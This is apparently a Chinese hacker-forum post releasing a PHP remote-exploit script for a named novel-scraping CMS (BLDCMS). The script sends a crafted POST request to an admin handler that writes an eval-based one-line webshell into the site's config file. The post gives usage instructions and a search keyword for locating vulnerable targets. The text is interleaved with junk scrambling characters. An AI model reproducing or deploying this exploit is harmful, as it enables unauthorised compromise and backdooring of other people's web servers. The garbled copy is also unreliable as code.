之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
, b8 {; p0 s) \8 }
. T- W$ L9 c# d4 i9 m7 z + l& f# I) s: B' e6 {
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了 3 |( K0 I+ X) Z
1 o. q3 M9 s& s
既然都有人发了 我就把我之前写好的EXP放出来吧
/ r: R/ L- D7 v5 E/ G( v 3 U/ I6 g2 m6 V6 n7 T
view source print?01.php;">9 Z" @ [8 \6 q! i, A4 k
02.<!--?php: t) g7 H8 l+ T1 X8 Z% e7 b! V
03.echo "-------------------------------------------------------------------7 r9 ~$ b* A, R+ b+ W! K( y# K3 k- X7 p
04. 1 R* a# }- l$ A, I% E6 w( w0 y
05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
; k' X% V" ]0 @3 }) z( P06. ) W: E, B( _6 M6 T, S/ H$ q
07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun( f/ A1 e' K" g4 e8 _: {
08. ; `- x- s$ X- n' h8 k8 o3 }
09.QQ:981009941\r\n 2013.3.21\r\n
7 {* B: u! L" H; K6 T( D- g8 T0 O5 ^10.
/ H4 o* |3 n; |9 Y! D; f! a) o11.
r& M* t/ V, k* h; ~ O+ J" p' @12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
3 c, `6 U N- L1 \' t13. ! k/ k1 t1 C6 Q! N! ~' N1 g
14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------
" t+ X) \" _: W9 G5 l+ A15. 0 J' m+ k D. N' ?; {0 h. I. u3 X
16.--------------------------------------------------------------------\r\n";
@0 f' H: y0 H3 U' ^17.$url=$argv[1];" G& x; u. [, s5 m1 b
18.$dir=$argv[2];5 Z3 Q1 w; ^- d; ^9 M
19.$pass=$argv[3];
& D5 Z9 V& w% r$ S1 X20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';& E! ]3 k2 p$ Q L
21.if (emptyempty($pass)||emptyempty($url))
8 O/ X) K! ?0 C- I1 a6 ]& m8 Y22.{exit("请输入参数");}
! F8 C; ?+ k) D1 W23.else
& G' X M5 m; A0 G9 G2 n; v24.{
* o7 p# t! A* h2 ~0 ~. ~2 W4 H. r8 m25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
5 i& T; o" M% @26. ! w; F5 ]( R3 E( s8 [0 x9 V/ l8 k
27.al;' X0 e5 n! h b. I) l5 z# l
28.$length = strlen($fuckdata);
' y3 k, s$ B& q4 X6 f29.function getshell($url,$pass)
4 K/ X9 u& t9 }. h30.{
; Q2 W" [ p' m* s1 L( f# y1 O8 O31.global $url,$dir,$pass,$eval,$length,$fuckdata;
' j" D& @ v. W; D) k6 F32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";; d/ n& z ~" {% l9 U
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
9 T4 D$ L; c4 p& s' y4 m34.$header .= "User-Agent: MSIE\r\n";
6 Q C# v1 z' U" l4 E35.$header .= "Host:".$url."\r\n";8 g; x/ y; s# @( i+ Y
36.$header .= "Content-Length: ".$length."\r\n";
. _. N7 W2 B' o- q7 h5 \1 \37.$header .= "Connection: Close\r\n";
. i" a9 O6 ^8 e" \9 m8 e38.$header .="\r\n";
, v0 K3 ]) {' \4 W39.$header .= $fuckdata."\r\n\r\n";
% q4 x7 l! T* J1 @1 T( Z* D$ F40.$fp = fsockopen($url, 80,$errno,$errstr,15);8 X+ d7 A( V( s
41.if (!$fp). T8 W/ k2 D* D- o0 ?
42.{
! r) p9 l: w' |43.exit ("利用失败:请检查指定目标是否能正常打开");4 t; g& s. I# _
44.}
& @6 r0 `$ L$ g% `9 u45.else{ if (!fputs($fp,$header))' c0 F. N' u/ G
46.{exit ("利用失败");}
0 _6 p, g4 o: I( c; L47.else
) A4 c) U$ ?7 d/ i48.{
1 j3 A: F( _( r; q& D" K* E49.$receive = '';- O/ M# y2 j6 A2 H. q$ f o
50.while (!feof($fp)) {
# A8 R' a5 Y8 M5 Y: j51.$receive .= @fgets($fp, 1000);
2 h+ |5 A: ]' R) O5 c |52.}
& a* c+ W: B( c0 S( P53.@fclose($fp);
" [+ e3 _0 f* \1 O) h1 e6 }) D5 x# A54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标$ b5 h& C6 F5 F( t/ Z+ a
55. , X. v" E9 t' d8 P, s2 [- f; c
56.GPC是否=off)";& R$ ~- j) y* D8 q. e
57.}}
. e* l' }$ G/ `58.}
, B. A. T; P. R* m) K59.}
7 G% S% `0 g4 O' r/ ?+ m, o8 _60.getshell($url,$pass);
1 Q/ n, }4 `8 Z; \# r9 O- A& x61.?-->- q" B/ q: p6 _; x
9 ~/ Q m+ P$ v0 D
3 `- q/ v% A) r# K3 v4 P% G
3 |: J( _8 Z. W1 o2 p3 Yby 数据流 H4 Z% S x2 h' D
|